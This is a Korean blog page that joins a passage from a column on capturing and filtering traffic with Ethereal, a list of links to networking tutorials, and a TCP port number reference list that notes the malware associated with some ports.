    (화면 6)은 icmp만을 다시 보기 위해서 적용한 화면 필터로, 필요한 부분을 봤다면 삭제하거나 'Clear'라고 하면 원래의 필터대로 보이게 하는 옵션이다. 실시간으로 되는 것도 제법인데 이 옵션은 아주 마음에 드는 기능 중 하나다. 이 필터를 제대로 쓰고 싶다면 옆에 있는 Expression 메뉴를 클릭해 보자. 필자가 웰치아(Welchia)를 이더리얼로 캡처할 때 사용한 옵션이 화면 필터에서는 (화면 7)과 같이 Expression 옵션에서 사용할 수가 있다.




    (화면 7) 화면 필터의 Expression



    (화면 8) IP 전체 길이 92바이트 선택


     

    (화면 8)은 Expression의 IP 부분만 선택해서 세부적인 필드 중에 길이(Length) 필드의 값이 92인 것을 선택한 화면이다. 이처럼 여러분들이 프로토콜에 대한 세부지식(헤더구조 등)만 안다면 얼마든지 많은 옵션을 사용해 정말 분석다운 분석을 할 수가 있다.
    이번에는 컬러 필터라는 것을 한번 사용해 보자. 컬러 필터는 화면 필터와 같은 옵션이지만 여기에 색(Color)을 겸비해서 사용하는 방법으로 가독성을 한층 올려주는 방법이다. 메뉴의 'Color Rules'를 선택해 필터와 보여지는 색깔을 선택하면 된다. 배경색깔과 각 패킷 리스트의 글씨를 구분할 수 있다.



    (화면 9) TCP 패킷들의 색깔만 필터 적용

     

    이 기능은 단순히 화려하게 보이려는 목적보다는 패킷을 조금 더 빨리 분석하기 위한 이더리얼의 배려이니 자신만의 컬러 필터를 만들어 별도로 저장해 보자.


    캡처하는 방법에 대한 고민
    앞에서 필자가 거짓말을 조금 보태서 이더리얼을 이용하면 많은 것을 할 수 있고 마치 이더리얼을 사용할 줄 알면 패킷 분석의 고수가 될 것 같은 인상을 풍긴 듯 한다. 그런데 사실은 정말 그렇다. 
    패킷분석기를 이용해도 별로 소용이 없다라고 말하는 이들 중 대부분은 필자가 아는 한 잘못된 방법이나 위치에서 패킷 분석기를 이용해 캡처를 하는 경우다. 때문에 정작 문제가 발생했을 때 중요한 패킷을 캡처하지 못한 경우가 많다. 사실 이번 출장에서 필자가 문제를 해결할 때도 그런 면이 없지 않았다. 하지만 너무 많은 구간에서의 문제 발생 가능성이 있을 때는 어쩔 수 없기도 하다. 생각해 보라. 패킷 분석을 위해 수십 대의 분석 툴을 설치한다는 것이 쉬운 일인가. 더군다나 캡처는 캡처지만 이후에 이 패킷을 모두 분석해야 하는데, 캡처한 데이터가 수백 기가바이트가 넘어간 시점에서는 정말 암담할 뿐이다. 하지만 조금만 신경쓰면 이 같은 문제들은 조금씩 줄일 수는 있다.


    이더리얼을 어디에 연결할까
    문제가 생긴 네트워크에 그냥 이더리얼이 설치된 컴퓨터를 연결한다고 해서 모든 패킷이 캡처되는 것은 분명 아니다. 그렇기 때문에 어떻게 연결해야 할까를 이제는 고민해야 한다.
    만약 내 컴퓨터만의 문제라면 별 문제없이 내 컴퓨터에서 구동만 하면 되지만 네트워크의 다른 호스트의 문제나 다른 패킷을 분석하려면 모든 패킷이 지나다니는 구간을 선택해야 한다. 가장 좋은 방법이 스위치에서 업링크 포트를 미러링하는 방법이다. 이 방법을 사용할 경우, 스위치에서 간단한 미러링 설정만 하면 된다.




    가끔 어떤 작업자는 미러링 설정을 할 때 특정 패킷(In or Out)만 선택하는 경우가 있는데, 이런 부분을 선택할 때도 신중하게 내가 얻고자 하는 데이터와 관련이 있는가를 고민해야 한다. 특별한 문제가 없다면 In/Out을 모두 선택하는 방법을 추천한다. 참고로 일부 스위치들은 미러링을 받는 포트에 연결된 컴퓨터가 다른 포트와의 통신이 안되는 경우가 있다. 이 경우 패킷 분석기가 설치된 컴퓨터를 원격에서 제어하는 방법도 고민해야 한다. 그래서 가끔 LAN 카드를 하나 더 연결하는 경우도 있다.
    그리고 필요에 따라서는 외부와 연결되는 한 포트만 미러링을 해도 되지만 N:1처럼 여러 포트를 미러링해야 할 필요가 있을 수도 있다. 가급적이면 유연한 생각을 갖고 운영할 수 있도록 한다.
    가끔씩 미러링이 현실적으로 불가능할 경우에는 탭(Tap)이라는 장비를 사용하는 경우가 있다. 이 장비를 연결되는 두 장비 중간에 연결해 필요한 패킷들을 패킷 분석 툴이 설치된 컴퓨터로 보내줄 수가 있다. 이런 장비들은 요즘 한창 사용되고 있으므로 알아둘 필요가 있다.

    탭이나 미러링 장비를 연결할 때 가끔 연결에만 신경을 쓰다가 포트 설정(Speed/Duplex)을 무시하는 경우가 있는데, 이 부분도 신경을 쓰도록 하자. 포트 설정이 잘못될 경우 패킷 분석기와의 통신에서 패킷이 손실될 수가 있기 때문이다. 이 같은 사소한 문제로 거사를 놓칠 수는 없지 않겠는가?
    스위치에서 미러링을 하는 이유는 스위치는 허브와 달리 입력되는 패킷이 모든 포트로 전달되지 않기 때문이다(사실 이것이 바로 스위치의 장점이다). 그래서 모든 패킷을 받지 못하기 때문에 미러링을 사용하는 것이다. 그래서 가끔 역으로 입력되는 모든 패킷을 모든 포트로 전달하는 허브를 이용하기도 하는데 개인적으로는 이 방법은 권장하지 않는다. 대량의 트래픽 처리시 아무래도 허브의 성능 부족이나 충돌(Collision) 등으로 인해 분석에 혼란을 야기 할 수도 있기 때문이다.


    컴퓨터의 시간을 맞추자
    이더리얼을 사용할 때 정말로 신경써야 할 게 한가지가 더 남아 있다. 그것은 바로 컴퓨터의 시간을 맞추는 일이다. 지난호의 시스로그 서버도 그렇지만, 이들이 남기는 시간은 모두 컴퓨터에 맞춰진 시간을 기준으로 한다.
    문제가 다시 발생했을 때 분석시 정말 사소한 시간 문제로 고민하지 않으려면 컴퓨터의 시간을 주변의 장비들과 동일하게 맞춰야 한다. 가장 좋은 방법은 NTP(Network Time Protocol)를 사용하는 방법인데, 대부분 관리가 가능한 장비들은 NTP를 지원하므로 윈도우용 NTP 클라이언트를 인터넷에서 찾아 시간을 동기화하자.
    혹시라도 이런 작업이 귀찮아서 나중에 분석할 때 시간차를 계산해서 하겠다는 생각은 아예 버려라. 잠깐의 귀찮음이 여러분들의 시간과 실력을 한참 퇴보하게 만들것이다. 패킷분석은 때로는 초 단위 보다 더 세분화해서 하는 경우가 있으니 부디 필자의 조언을 듣기 바란다.
    이더리얼은 공개용이지만 정말 추천할 만한 툴이다. 사실 필자도 처음에는 불법(?) 스니퍼를 사용하면서 패킷 분석기를 접해봤지만 지금은 대부분의 경우 이더리얼을 사용한다. 물론 업무용도로 말이다. 매달 쓰는 원고 내용마다 중요하지 않은 것은 없지만, 이번에 소개한 패킷 분석기는 정말로 그 어느것보다도 중요하다는 점을 강조하면서 이번호를 마친다.

    Posted by 1010
    90.개발관련문서2008. 7. 24. 12:51
    반응형

    Network 강좌

    네트워크 장비 강좌

    케이블 테스터(케이블테스트기 사용법)

     

    지락님의 네트워크 기초강좌

    네트웍 강좌-IP 주소의 개념?
    네트웍 강좌-DNS에 대해서
    네트웍 강좌-크로스 케이블 만들기
    네트웍 강좌-네트웍 장비기초

    네트워크 관련 소프트웨어

    Traffic Manager : 여러대의 서버와 PC의 장애상황을 관리및 모니터링하는  네트워크관리툴
    Tivoli : 클라이언트/서버 시스템의 통합네트워크관리를 위한 SMS 소프트웨어
    WhatsUP : 클라이언트/서버 시스템의 통합네트워크관리를 위한 SMS 소프트웨어
    인텔스위치
    Intel 스위치 장비살펴보기
    장비의 포트번호 확인하는 방법
    Intel 스위치 기본 셋팅 및 설정법
    3COM스위치
    3COM 스위치 살펴보기
    3COM 스위치의 포트번호 확인하는 방법
    3COM 스위치 설정을 위한 콘솔접속 및 셋팅법
    3COM 스위치 셋팅 및 설정법
    Network
    NIQ 800 시리즈 라우터 기본 설정
    밀레니엄버그(Y2K)와 라우터
    네트워크 모니터링 프로그램(commview)
    NetMeeting(H.323) 디렉터리 서버(directory server)에 대하여
    네트워크 구축 기초 - (1)
    네트워크 구축 기초 - (2)
    아이피 알리아싱(IP Aliasing)
    CISCO 라우터 기본설정
    [전용회선]전용회선이란 무엇일까요
    [전용회선]전용회선의 종류와 장비
    [전용회선]전용회선 연결 구성도
    [전용회선]전용회선 장비 다루기
    [전용회선]전용회선이 이상해요
    [전용회선]전용회선 장비를 이용한 통신회선 테스트
    [Cyberguard 온라인 매뉴얼]네트워크 주소 변환 설정
    [Cyberguard 온라인 매뉴얼]패킷 필터링 설정
    [Cyberguard 온라인 매뉴얼]라우팅 설정
    [Cyberguard 온라인 매뉴얼]로그파일 양식
    [Cyberguard 온라인 매뉴얼]시스템 백업 및 복구
    [Cyberguard 온라인 매뉴얼]원격지 운영
    [Cyberguard 온라인 매뉴얼]CyberGuard FAQ
    [Cyberguard 온라인 매뉴얼]초기 환경 설정과정
    [Cyberguard 온라인 매뉴얼]화면 해상도 설정
    [Cyberguard 온라인 매뉴얼]시스템 시작
    [Cyberguard 온라인 매뉴얼]날짜와 시간 설정
    [Cyberguard 온라인 매뉴얼]네트워크 인터페이스 설정
    [Cyberguard 온라인 매뉴얼]호스트 설정
    [Cyberguard 온라인 매뉴얼]방화벽(firewall)
    [Cyberguard 온라인 매뉴얼]CyberGuard의 특징
    [Cyberguard 온라인 매뉴얼]방화벽 환경 설정
    Ethernet
    통신방식 비교
    IP switching 관련 표준과 프로토콜
    TCP/IP 이해하기
    [라우터]라우터의 개념
    [라우터]라우팅 프로토콜
    [라우터]라우팅의 종류
    [라우터]초기 설치 방법
    클러스터링
    소개
    클러스터란?
    클러스터링과 비슷한 기술
    클러스터의 구성요소
    클러스터의 종류
    클러스터 작동 방법
    클러스터 작동 방법
    공유 데이터 저장장치 및 시스템
    RAID 각 레벨에 관한 설명
    Posted by 1010
    98..Etc/Etc...2008. 7. 24. 12:46
    반응형

    TCP Port Number List

    TCP Ports
    TCP  0  Reserved
    TCP  1  Port Service Multiplexer
    TCP  2  Management Utility
    TCP  3  Compression Process
    TCP  4  Unassigned
    TCP  5  Remote Job Entry
    TCP  6  Unassigned
    TCP  7  Echo
    TCP  8  Unassigned
    TCP  9  Discard
    TCP  10  Unassigned
    TCP  11  Active Users
    TCP  12  Unassigned
    TCP  13  Daytime (RFC 867)
    TCP  14  Unassigned
    TCP  15  Unassigned [was netstat]
    TCP  16  Unassigned
    TCP  17  Quote of the Day
    TCP  18  Message Send Protocol
    TCP  19  Character Generator
    TCP  20  File Transfer [Default Data]
    TCP  21  File Transfer [Control]
    TCP  22  SSH Remote Login Protocol
    TCP  23  Telnet
    TCP  24  any private mail system
    TCP  25  Simple Mail Transfer
    TCP  26  Unassigned
    TCP  27  NSW User System FE
    TCP  28  Unassigned
    TCP  29  MSG ICP
    TCP  30  Unassigned
    TCP  31  MSG Authentication
    TCP  32  Unassigned
    TCP  33  Display Support Protocol
    TCP  34  Unassigned
    TCP  35  any private printer server
    TCP  36  Unassigned
    TCP  37  Time / W32.Sober.I virus
    TCP  38  Route Access Protocol
    TCP  39  Resource Location Protocol
    TCP  40  Unassigned
    TCP  41  Graphics
    TCP  42  Host Name Server
    TCP  43  WhoIs
    TCP  44  MPM FLAGS Protocol
    TCP  45  Message Processing Module [recv]
    TCP  46  MPM [default send]
    TCP  47  NI FTP
    TCP  48  Digital Audit Daemon
    TCP  49  Login Host Protocol (TACACS)
    TCP  50  Remote Mail Checking Protocol
    TCP  51  IMP Logical Address Maintenance
    TCP  52  XNS Time Protocol
    TCP  53  Domain Name Server
    TCP  54  XNS Clearinghouse
    TCP  55  ISI Graphics Language
    TCP  56  XNS Authentication
    TCP  57  any private terminal access
    TCP  58  XNS Mail
    TCP  59  any private file service
    TCP  60  Unassigned
    TCP  61  NI MAIL
    TCP  62  ACA Services
    TCP  63  whois++
    TCP  64  Communications Integrator (CI)
    TCP  65  TACACS-Database Service
    TCP  66  Oracle SQL*NET
    TCP  67  Bootstrap Protocol Server
    TCP  68  Bootstrap Protocol Client
    TCP  69  Trivial File Transfer
    TCP  70  Gopher
    TCP  71  Remote Job Service
    TCP  72  Remote Job Service
    TCP  73  Remote Job Service
    TCP  74  Remote Job Service
    TCP  75  any private dial out service
    TCP  76  Distributed External Object Store
    TCP  77  any private RJE service
    TCP  78  vettcp
    TCP  79  Finger
    TCP  80  World Wide Web HTTP
    TCP  81  HOSTS2 Name Server / Bagle-AZ worm / Win32.Rbot worm
    TCP  82  XFER Utility
    TCP  83  MIT ML Device
    TCP  84  Common Trace Facility
    TCP  85  MIT ML Device
    TCP  86  Micro Focus Cobol
    TCP  87  any private terminal link
    TCP  88  Kerberos
    TCP  89  SU/MIT Telnet Gateway
    TCP  90  DNSIX Securit Attribute Token Map
    TCP  91  MIT Dover Spooler
    TCP  92  Network Printing Protocol
    TCP  93  Device Control Protocol
    TCP  94  Tivoli Object Dispatcher
    TCP  95  SUPDUP
    TCP  96  DIXIE Protocol Specification
    TCP  97  Swift Remote Virtural File Protocol
    TCP  98  Linuxconf / TAC News
    TCP  99  Metagram Relay
    TCP  100  [unauthorized use]
    TCP  101  NIC Host Name Server
    TCP  102  MSExchangeMTA X.400 / ISO-TSAP Class 0
    TCP  103  Genesis Point-to-Point Trans Net
    TCP  104  ACR-NEMA Digital Imag. & Comm. 300
    TCP  105  Mailbox Name Nameserver
    TCP  106  3COM-TSMUX
    TCP  107  Remote Telnet Service
    TCP  108  SNA Gateway Access Server
    TCP  109  Post Office Protocol - Version 2
    TCP  110  Post Office Protocol - Version 3
    TCP  111  SUN Remote Procedure Call
    TCP  112  McIDAS Data Transmission Protocol
    TCP  113  Authentication Service
    TCP  114  Audio News Multicast
    TCP  115  Simple File Transfer Protocol
    TCP  116  ANSA REX Notify
    TCP  117  UUCP Path Service
    TCP  118  SQL Services
    TCP  119  Network News Transfer Protocol
    TCP  120  CFDPTKT
    TCP  121  Encore Expedited Remote Pro.Call
    TCP  122  SMAKYNET
    TCP  123  Network Time Protocol
    TCP  124  ANSA REX Trader
    TCP  125  Locus PC-Interface Net Map Ser
    TCP  126  Unisys Unitary Login
    TCP  127  Locus PC-Interface Conn Server
    TCP  128  GSS X License Verification
    TCP  129  Password Generator Protocol
    TCP  130  cisco FNATIVE
    TCP  131  cisco TNATIVE
    TCP  132  cisco SYSMAINT
    TCP  133  Statistics Service
    TCP  134  INGRES-NET Service
    TCP  135  DCE endpoint resolution
    TCP  136  PROFILE Naming System
    TCP  137  NETBIOS Name Service
    TCP  138  NETBIOS Datagram Service
    TCP  139  NETBIOS Session Service
    TCP  140  EMFIS Data Service
    TCP  141  EMFIS Control Service
    TCP  142  Britton-Lee IDM
    TCP  143  Internet Message Access Protocol
    TCP  144  Universal Management Architecture
    TCP  145  UAAC Protocol
    TCP  146  ISO-IP0
    TCP  147  ISO-IP
    TCP  148  Jargon
    TCP  149  AED 512 Emulation Service
    TCP  150  SQL-NET
    TCP  151  HEMS
    TCP  152  Background File Transfer Program
    TCP  153  SGMP
    TCP  154  NETSC
    TCP  155  NETSC
    TCP  156  SQL Service
    TCP  157  KNET/VM Command/Message Protocol
    TCP  158  PCMail Server
    TCP  159  NSS-Routing
    TCP  160  SGMP-TRAPS
    TCP  161  SNMP
    TCP  162  SNMPTRAP
    TCP  163  CMIP/TCP Manager
    TCP  164  CMIP/TCP Agent
    TCP  165  Xerox
    TCP  166  Sirius Systems
    TCP  167  NAMP
    TCP  168  RSVD
    TCP  169  SEND
    TCP  170  Network PostScript
    TCP  171  Network Innovations Multiplex
    TCP  172  Network Innovations CL/1
    TCP  173  Xyplex
    TCP  174  MAILQ
    TCP  175  VMNET
    TCP  176  GENRAD-MUX
    TCP  177  X Display Manager Control Protocol
    TCP  178  NextStep Window Server
    TCP  179  Border Gateway Protocol
    TCP  180  Intergraph
    TCP  181  Unify
    TCP  182  Unisys Audit SITP
    TCP  183  OCBinder
    TCP  184  OCServer
    TCP  185  Remote-KIS
    TCP  186  KIS Protocol
    TCP  187  Application Communication Interface
    TCP  188  Plus Five's MUMPS
    TCP  189  Queued File Transport
    TCP  190  Gateway Access Control Protocol
    TCP  191  Prospero Directory Service
    TCP  192  OSU Network Monitoring System
    TCP  193  Spider Remote Monitoring Protocol
    TCP  194  Internet Relay Chat Protocol
    TCP  195  DNSIX Network Level Module Audit
    TCP  196  DNSIX Session Mgt Module Audit Redir
    TCP  197  Directory Location Service
    TCP  198  Directory Location Service Monitor
    TCP  199  SMUX
    TCP  200  IBM System Resource Controller
    TCP  201  AppleTalk Routing Maintenance
    TCP  202  AppleTalk Name Binding
    TCP  203  AppleTalk Unused
    TCP  204  AppleTalk Echo
    TCP  205  AppleTalk Unused
    TCP  206  AppleTalk Zone Information
    TCP  207  AppleTalk Unused
    TCP  208  AppleTalk Unused
    TCP  209  The Quick Mail Transfer Protocol
    TCP  210  ANSI Z39.50
    TCP  211  Texas Instruments 914C/G Terminal
    TCP  212  ATEXSSTR
    TCP  213  IPX
    TCP  214  VM PWSCS
    TCP  215  Insignia Solutions
    TCP  216  Computer Associates Int'l License Server
    TCP  217  dBASE Unix
    TCP  218  Netix Message Posting Protocol
    TCP  219  Unisys ARPs
    TCP  220  Interactive Mail Access Protocol v3
    TCP  221  Berkeley rlogind with SPX auth
    TCP  222  Berkeley rshd with SPX auth
    TCP  223  Certificate Distribution Center
    TCP  224  masqdialer
    TCP  242  Direct
    TCP  243  Survey Measurement
    TCP  244  inbusiness
    TCP  245  LINK
    TCP  246  Display Systems Protocol
    TCP  247  SUBNTBCST_TFTP
    TCP  248  bhfhs
    TCP  256  RAP/Checkpoint SNMP
    TCP  257  Check Point / Secure Electronic Transaction
    TCP  258  Check Point / Yak Winsock Personal Chat
    TCP  259  Check Point Firewall-1 telnet auth / Efficient Short Remote Operations
    TCP  260  Openport
    TCP  261  IIOP Name Service over TLS/SSL
    TCP  262  Arcisdms
    TCP  263  HDAP
    TCP  264  BGMP / Check Point
    TCP  265  X-Bone CTL
    TCP  266  SCSI on ST
    TCP  267  Tobit David Service Layer
    TCP  268  Tobit David Replica
    TCP  280  HTTP-mgmt
    TCP  281  Personal Link
    TCP  282  Cable Port A/X
    TCP  283  rescap
    TCP  284  corerjd
    TCP  286  FXP-1
    TCP  287  K-BLOCK
    TCP  308  Novastor Backup
    TCP  309  EntrustTime
    TCP  310  bhmds
    TCP  311  AppleShare IP WebAdmin
    TCP  312  VSLMP
    TCP  313  Magenta Logic
    TCP  314  Opalis Robot
    TCP  315  DPSI
    TCP  316  decAuth
    TCP  317  Zannet
    TCP  318  PKIX TimeStamp
    TCP  319  PTP Event
    TCP  320  PTP General
    TCP  321  PIP
    TCP  322  RTSPS
    TCP  333  Texar Security Port
    TCP  344  Prospero Data Access Protocol
    TCP  345  Perf Analysis Workbench
    TCP  346  Zebra server
    TCP  347  Fatmen Server
    TCP  348  Cabletron Management Protocol
    TCP  349  mftp
    TCP  350  MATIP Type A
    TCP  351  bhoetty (added 5/21/97)
    TCP  352  bhoedap4 (added 5/21/97)
    TCP  353  NDSAUTH
    TCP  354  bh611
    TCP  355  DATEX-ASN
    TCP  356  Cloanto Net 1
    TCP  357  bhevent
    TCP  358  Shrinkwrap
    TCP  359  Tenebris Network Trace Service
    TCP  360  scoi2odialog
    TCP  361  Semantix
    TCP  362  SRS Send
    TCP  363  RSVP Tunnel
    TCP  364  Aurora CMGR
    TCP  365  DTK
    TCP  366  ODMR
    TCP  367  MortgageWare
    TCP  368  QbikGDP
    TCP  369  rpc2portmap
    TCP  370  codaauth2
    TCP  371  Clearcase
    TCP  372  ListProcessor
    TCP  373  Legent Corporation
    TCP  374  Legent Corporation
    TCP  375  Hassle
    TCP  376  Amiga Envoy Network Inquiry Proto
    TCP  377  NEC Corporation
    TCP  378  NEC Corporation
    TCP  379  TIA/EIA/IS-99 modem client
    TCP  380  TIA/EIA/IS-99 modem server
    TCP  381  hp performance data collector
    TCP  382  hp performance data managed node
    TCP  383  hp performance data alarm manager
    TCP  384  A Remote Network Server System
    TCP  385  IBM Application
    TCP  386  ASA Message Router Object Def.
    TCP  387  Appletalk Update-Based Routing Pro.
    TCP  388  Unidata LDM
    TCP  389  Lightweight Directory Access Protocol / Internet Locator Service (ILS)
    TCP  390  UIS
    TCP  391  SynOptics SNMP Relay Port
    TCP  392  SynOptics Port Broker Port
    TCP  393  Data Interpretation System
    TCP  394  EMBL Nucleic Data Transfer
    TCP  395  NETscout Control Protocol
    TCP  396  Novell Netware over IP
    TCP  397  Multi Protocol Trans. Net.
    TCP  398  Kryptolan
    TCP  399  ISO Transport Class 2 Non-Control over TCP
    TCP  400  Workstation Solutions
    TCP  401  Uninterruptible Power Supply
    TCP  402  Genie Protocol
    TCP  403  decap
    TCP  404  nced
    TCP  405  ncld
    TCP  406  Interactive Mail Support Protocol
    TCP  407  Timbuktu
    TCP  408  Prospero Resource Manager Sys. Man.
    TCP  409  Prospero Resource Manager Node Man.
    TCP  410  DECLadebug Remote Debug Protocol
    TCP  411  Remote MT Protocol
    TCP  412  NeoModus Direct Connect (Windows file sharing program) / Trap Convention Port
    TCP  413  SMSP
    TCP  414  InfoSeek
    TCP  415  BNet
    TCP  416  Silverplatter
    TCP  417  Onmux
    TCP  418  Hyper-G
    TCP  419  Ariel
    TCP  420  SMPTE
    TCP  421  Ariel
    TCP  422  Ariel
    TCP  423  IBM Operations Planning and Control Start
    TCP  424  IBM Operations Planning and Control Track
    TCP  425  ICAD
    TCP  426  smartsdp
    TCP  427  Server Location
    TCP  428  OCS_CMU
    TCP  429  OCS_AMU
    TCP  430  UTMPSD
    TCP  431  UTMPCD
    TCP  432  IASD
    TCP  433  NNSP
    TCP  434  MobileIP-Agent
    TCP  435  MobilIP-MN
    TCP  436  DNA-CML
    TCP  437  comscm
    TCP  438  dsfgw
    TCP  439  dasp
    TCP  440  sgcp
    TCP  441  decvms-sysmgt
    TCP  442  cvc_hostd
    TCP  443  HTTP protocol over TLS/SSL
    TCP  444  Simple Network Paging Protocol
    TCP  445  Microsoft-DS
    TCP  446  DDM-RDB
    TCP  447  DDM-RFM
    TCP  448  DDM-SSL
    TCP  449  AS Server Mapper
    TCP  450  TServer
    TCP  451  Cray Network Semaphore server
    TCP  452  Cray SFS config server
    TCP  453  CreativeServer
    TCP  454  ContentServer
    TCP  455  CreativePartnr
    TCP  456  macon-tcp
    TCP  457  scohelp
    TCP  458  apple quick time
    TCP  459  ampr-rcmd
    TCP  460  skronk
    TCP  461  DataRampSrv
    TCP  462  DataRampSrvSec
    TCP  463  alpes
    TCP  464  kpasswd
    TCP  465  SMTPS
    TCP  466  digital-vrc
    TCP  467  mylex-mapd
    TCP  468  proturis
    TCP  469  Radio Control Protocol
    TCP  470  scx-proxy
    TCP  471  Mondex
    TCP  472  ljk-login
    TCP  473  hybrid-pop
    TCP  474  tn-tl-w1
    TCP  475  tcpnethaspsrv
    TCP  476  tn-tl-fd1
    TCP  477  ss7ns
    TCP  478  spsc
    TCP  479  iafserver
    TCP  480  iafdbase
    TCP  481  Ph service
    TCP  482  bgs-nsi
    TCP  483  ulpnet
    TCP  484  Integra Software Management Environment
    TCP  485  Air Soft Power Burst
    TCP  486  avian
    TCP  487  saft Simple Asynchronous File Transfer
    TCP  488  gss-HTTP
    TCP  489  nest-protocol
    TCP  490  micom-pfs
    TCP  491  go-login
    TCP  492  Transport Independent Convergence for FNA
    TCP  493  Transport Independent Convergence for FNA
    TCP  494  POV-Ray
    TCP  495  intecourier
    TCP  496  PIM-RP-DISC
    TCP  497  dantz
    TCP  498  siam
    TCP  499  ISO ILL Protocol
    TCP  500  ISAKMP
    TCP  501  STMF
    TCP  502  asa-appl-proto
    TCP  503  Intrinsa
    TCP  504  citadel
    TCP  505  mailbox-lm
    TCP  506  ohimsrv
    TCP  507  crs
    TCP  508  xvttp
    TCP  509  snare
    TCP  510  FirstClass Protocol
    TCP  511  PassGo
    TCP  512  Remote process execution
    TCP  513  Remote Login
    TCP  514  Remote Shell
    TCP  515  spooler
    TCP  516  videotex
    TCP  517  like tenex link but across
    TCP  518  talkd
    TCP  519  unixtime
    TCP  520  extended file name server
    TCP  521  ripng
    TCP  522  User Location Service / ULP
    TCP  523  IBM-DB2
    TCP  524  NCP
    TCP  525  timeserver
    TCP  526  newdate
    TCP  527  Stock IXChange
    TCP  528  Customer IXChange
    TCP  529  IRC-SERV
    TCP  530  rpc
    TCP  531  chat
    TCP  532  readnews
    TCP  533  for emergency broadcasts
    TCP  534  MegaMedia Admin
    TCP  535  iiop
    TCP  536  opalis-rdv
    TCP  537  Networked Media Streaming Protocol
    TCP  538  gdomap
    TCP  539  Apertus Technologies Load Determination
    TCP  540  uucpd
    TCP  541  uucp-rlogin
    TCP  542  commerce
    TCP  543  kerberos (v4/v5)
    TCP  544  krcmd
    TCP  545  appleqtcsrvr
    TCP  546  DHCPv6 Client
    TCP  547  DHCPv6 Server
    TCP  548  AppleShare AFP over TCP
    TCP  549  IDFP
    TCP  550  new-who
    TCP  551  cybercash
    TCP  552  deviceshare
    TCP  553  pirp
    TCP  554  Real Time Stream Control Protocol
    TCP  555  phAse Zero backdoor (Win 9x, NT) / dsf
    TCP  556  rfs server
    TCP  557  openvms-sysipc
    TCP  558  SDNSKMP
    TCP  559  TEEDTAP / Backdoor.Domwis Win32 trojan
    TCP  560  rmonitord
    TCP  561  monitor
    TCP  562  chcmd
    TCP  563  AOL IM / NNTP protocol over TLS/SSL
    TCP  564  plan 9 file service
    TCP  565  whoami
    TCP  566  streettalk
    TCP  567  banyan-rpc
    TCP  568  microsoft shuttle
    TCP  569  microsoft rome
    TCP  570  demon
    TCP  571  udemon
    TCP  572  sonar
    TCP  573  banyan-vip
    TCP  574  FTP Software Agent System
    TCP  575  VEMMI
    TCP  576  ipcd
    TCP  577  vnas
    TCP  578  ipdd
    TCP  579  decbsrv
    TCP  580  SNTP HEARTBEAT
    TCP  581  Bundle Discovery Protocol
    TCP  582  SCC Security
    TCP  583  Philips Video-Conferencing
    TCP  584  Key Server
    TCP  585  IMAP4+SSL
    TCP  586  Password Change
    TCP  587  Message Submission (Sendmail)
    TCP  588  CAL
    TCP  589  EyeLink
    TCP  590  TNS CML
    TCP  591  FileMaker Inc. - HTTP Alternate
    TCP  592  Eudora Set
    TCP  593  HTTP RPC Ep Map
    TCP  594  TPIP
    TCP  595  CAB Protocol
    TCP  596  SMSD
    TCP  597  PTC Name Service
    TCP  598  SCO Web Server Manager 3
    TCP  599  Aeolon Core Protocol
    TCP  600  Sun IPC server
    TCP  606  Cray Unified Resource Manager
    TCP  607  nqs
    TCP  608  Sender-Initiated/Unsolicited File Transfer
    TCP  609  npmp-trap
    TCP  610  Apple Admin Service / npmp-local
    TCP  611  npmp-gui
    TCP  612  HMMP Indication
    TCP  613  HMMP Operation
    TCP  614  SSLshell
    TCP  615  Internet Configuration Manager
    TCP  616  SCO System Administration Server
    TCP  617  SCO Desktop Administration Server
    TCP  618  DEI-ICDA
    TCP  619  Digital EVM
    TCP  620  SCO WebServer Manager
    TCP  621  ESCP
    TCP  622  Collaborator
    TCP  623  Aux Bus Shunt
    TCP  624  Crypto Admin
    TCP  625  DEC DLM
    TCP  626  ASIA
    TCP  627  PassGo Tivoli
    TCP  628  QMQP
    TCP  629  3Com AMP3
    TCP  630  RDA
    TCP  631  IPP (Internet Printing Protocol)
    TCP  632  bmpp
    TCP  633  Service Status update (Sterling Software)
    TCP  634  ginad
    TCP  635  RLZ DBase
    TCP  636  LDAP protocol over TLS/SSL
    TCP  637  lanserver
    TCP  638  mcns-sec
    TCP  639  MSDP
    TCP  640  entrust-sps
    TCP  641  repcmd
    TCP  642  ESRO-EMSDP V1.3
    TCP  643  SANity
    TCP  644  dwr
    TCP  645  PSSC
    TCP  646  LDP
    TCP  647  DHCP Failover
    TCP  648  Registry Registrar Protocol (RRP)
    TCP  649  Aminet
    TCP  650  OBEX
    TCP  651  IEEE MMS
    TCP  652  UDLR_DTCP
    TCP  653  RepCmd
    TCP  654  AODV
    TCP  655  TINC
    TCP  656  SPMP
    TCP  657  RMC
    TCP  658  TenFold
    TCP  659  URL Rendezvous
    TCP  660  MacOS Server Admin
    TCP  661  HAP
    TCP  662  PFTP
    TCP  663  PureNoise
    TCP  664  Secure Aux Bus
    TCP  665  Sun DR
    TCP  666  doom Id Software
    TCP  667  campaign contribution disclosures - SDR Technologies
    TCP  668  MeComm
    TCP  669  MeRegister
    TCP  670  VACDSM-SWS
    TCP  671  VACDSM-APP
    TCP  672  VPPS-QUA
    TCP  673  CIMPLEX
    TCP  674  ACAP
    TCP  675  DCTP
    TCP  676  VPPS Via
    TCP  677  Virtual Presence Protocol
    TCP  678  GNU Gereration Foundation NCP
    TCP  679  MRM
    TCP  680  entrust-aaas
    TCP  681  entrust-aams
    TCP  682  XFR
    TCP  683  CORBA IIOP
    TCP  684  CORBA IIOP SSL
    TCP  685  MDC Port Mapper
    TCP  686  Hardware Control Protocol Wismar
    TCP  687  asipregistry
    TCP  688  REALM-RUSD
    TCP  689  NMAP
    TCP  690  VATP
    TCP  691  MS Exchange Routing
    TCP  692  Hyperwave-ISP
    TCP  693  connendp
    TCP  694  ha-cluster
    TCP  695  IEEE-MMS-SSL
    TCP  696  RUSHD
    TCP  697  UUIDGEN
    TCP  698  OLSR
    TCP  704  errlog copy/server daemon
    TCP  705  AgentX
    TCP  706  SILC
    TCP  707  W32.Nachi Worm / Borland DSJ
    TCP  709  Entrust Key Management Service Handler
    TCP  710  Entrust Administration Service Handler
    TCP  711  Cisco TDP
    TCP  729  IBM NetView DM/6000 Server/Client
    TCP  730  IBM NetView DM/6000 send/tcp
    TCP  731  IBM NetView DM/6000 receive/tcp
    TCP  740  (old) NETscout Control Protocol (old)
    TCP  741  netGW
    TCP  742  Network based Rev. Cont. Sys.
    TCP  744  Flexible License Manager
    TCP  747  Fujitsu Device Control
    TCP  748  Russell Info Sci Calendar Manager
    TCP  749  kerberos administration
    TCP  750  rfile
    TCP  751  pump
    TCP  752  Kerberos password server
    TCP  753  Kerberos userreg server
